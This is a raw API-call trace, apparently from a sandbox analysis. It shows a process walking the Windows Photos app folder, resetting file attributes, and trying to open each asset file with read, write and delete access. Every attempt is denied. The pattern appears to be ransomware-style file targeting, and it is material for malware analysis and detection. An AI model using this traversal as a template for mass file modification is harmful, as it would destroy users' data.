	[0091.042] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0091.042] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.042] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.042] GetLastError () returned 0x5
	[0091.042] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0091.042] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0091.042] FindNextFileW (in: hFindFile=0x46a7350, lpFindFileData=0x470f988 | out: lpFindFileData=0x470f988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d3cc52, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0f84b23, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0091.042] wcscmp (_String1="Assets", _String2=".") returned 1
	[0091.042] wcscmp (_String1="Assets", _String2="..") returned 1
	[0091.042] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d448
	[0091.043] wcscpy (in: _Dest=0x491d448, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0091.043] wcscat (in: _Dest=0x491d448, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0091.043] wcscat (in: _Dest=0x491d448, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d088
	[0091.043] wcscpy (in: _Dest=0x491d088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.043] wcscat (in: _Dest=0x491d088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.043] wcscat (in: _Dest=0x491d088, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*"
	[0091.043] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502ce18
	[0091.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d3cc52, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0f84b23, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477afa8
	[0091.048] wcscmp (_String1=".", _String2=".") returned 0
	[0091.048] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86d3cc52, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb0f84b23, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x86deed4d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.048] wcscmp (_String1="..", _String2=".") returned 1
	[0091.048] wcscmp (_String1="..", _String2="..") returned 0
	[0091.048] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d3cc52, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d3cc52, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d3cc52, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0091.048] wcscmp (_String1="PhotosAppList.contrast-black_scale-100.png", _String2=".") returned 1
	[0091.048] wcscmp (_String1="PhotosAppList.contrast-black_scale-100.png", _String2="..") returned 1
	[0091.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481ed00
	[0091.048] wcscpy (in: _Dest=0x481ed00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.048] wcscat (in: _Dest=0x481ed00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.048] wcscat (in: _Dest=0x481ed00, _Source="PhotosAppList.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-100.png"
	[0091.048] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-100.png")) returned 0x20
	[0091.048] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.048] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosapplist.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.048] GetLastError () returned 0x5
	[0091.048] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ed00) returned 1
	[0091.049] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d842b1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d842b1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d842b1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.049] wcscmp (_String1="PhotosAppList.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.049] wcscmp (_String1="PhotosAppList.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.049] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x138) returned 0x481e030
	[0091.049] wcscpy (in: _Dest=0x481e030, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.049] wcscat (in: _Dest=0x481e030, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.049] wcscat (in: _Dest=0x481e030, _Source="PhotosAppList.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-100.png"
	[0091.049] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-100.png")) returned 0x20
	[0091.049] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.049] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosapplist.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.049] GetLastError () returned 0x5
	[0091.049] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.049] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481e030) returned 1
	[0091.049] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d842b1, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d842b1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d842b1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0091.049] wcscmp (_String1="PhotosAppList.scale-100.png", _String2=".") returned 1
	[0091.049] wcscmp (_String1="PhotosAppList.scale-100.png", _String2="..") returned 1
	[0091.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11a) returned 0x4782d68
	[0091.050] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.050] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.050] wcscat (in: _Dest=0x4782d68, _Source="PhotosAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-100.png"
	[0091.050] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosapplist.scale-100.png")) returned 0x20
	[0091.050] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.050] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photosapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.050] GetLastError () returned 0x5
	[0091.050] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.050] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4782d68) returned 1
	[0091.050] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9a046, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d9a046, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d9a046, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.contrast-black_scale-100.png", cAlternateFileName="")) returned 1
	[0091.050] wcscmp (_String1="PhotosLargeTile.contrast-black_scale-100.png", _String2=".") returned 1
	[0091.050] wcscmp (_String1="PhotosLargeTile.contrast-black_scale-100.png", _String2="..") returned 1
	[0091.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2e02220
	[0091.050] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.050] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.050] wcscat (in: _Dest=0x2e02220, _Source="PhotosLargeTile.contrast-black_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-100.png"
	[0091.050] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-black_scale-100.png")) returned 0x20
	[0091.051] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.051] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-black_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.051] GetLastError () returned 0x5
	[0091.051] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-black_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.051] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02220) returned 1
	[0091.051] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9a046, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86d9a046, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86d9a046, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.contrast-white_scale-100.png", cAlternateFileName="")) returned 1
	[0091.051] wcscmp (_String1="PhotosLargeTile.contrast-white_scale-100.png", _String2=".") returned 1
	[0091.051] wcscmp (_String1="PhotosLargeTile.contrast-white_scale-100.png", _String2="..") returned 1
	[0091.051] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13c) returned 0x2e02220
	[0091.051] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.051] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.051] wcscat (in: _Dest=0x2e02220, _Source="PhotosLargeTile.contrast-white_scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-100.png"
	[0091.051] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-white_scale-100.png")) returned 0x20
	[0091.051] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.051] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoslargetile.contrast-white_scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.052] GetLastError () returned 0x5
	[0091.052] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.contrast-white_scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.052] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02220) returned 1
	[0091.052] FindNextFileW (in: hFindFile=0x477afa8, lpFindFileData=0x502ce18 | out: lpFindFileData=0x502ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86d9a046, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86dc02c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86dc02c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotosLargeTile.scale-100.png", cAlternateFileName="")) returned 1
	[0091.052] wcscmp (_String1="PhotosLargeTile.scale-100.png", _String2=".") returned 1
	[0091.052] wcscmp (_String1="PhotosLargeTile.scale-100.png", _String2="..") returned 1
	[0091.052] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11e) returned 0x4782d68
	[0091.052] wcscpy (in: _Dest=0x4782d68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0091.052] wcscat (in: _Dest=0x4782d68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0091.052] wcscat (in: _Dest=0x4782d68, _Source="PhotosLargeTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-100.png"
	[0091.052] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\photoslargetile.scale-100.png")) returned 0x20
	[0091.052] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\PhotosLargeTile.scale-100.png", dwFileAttributes=0x20) returned 0
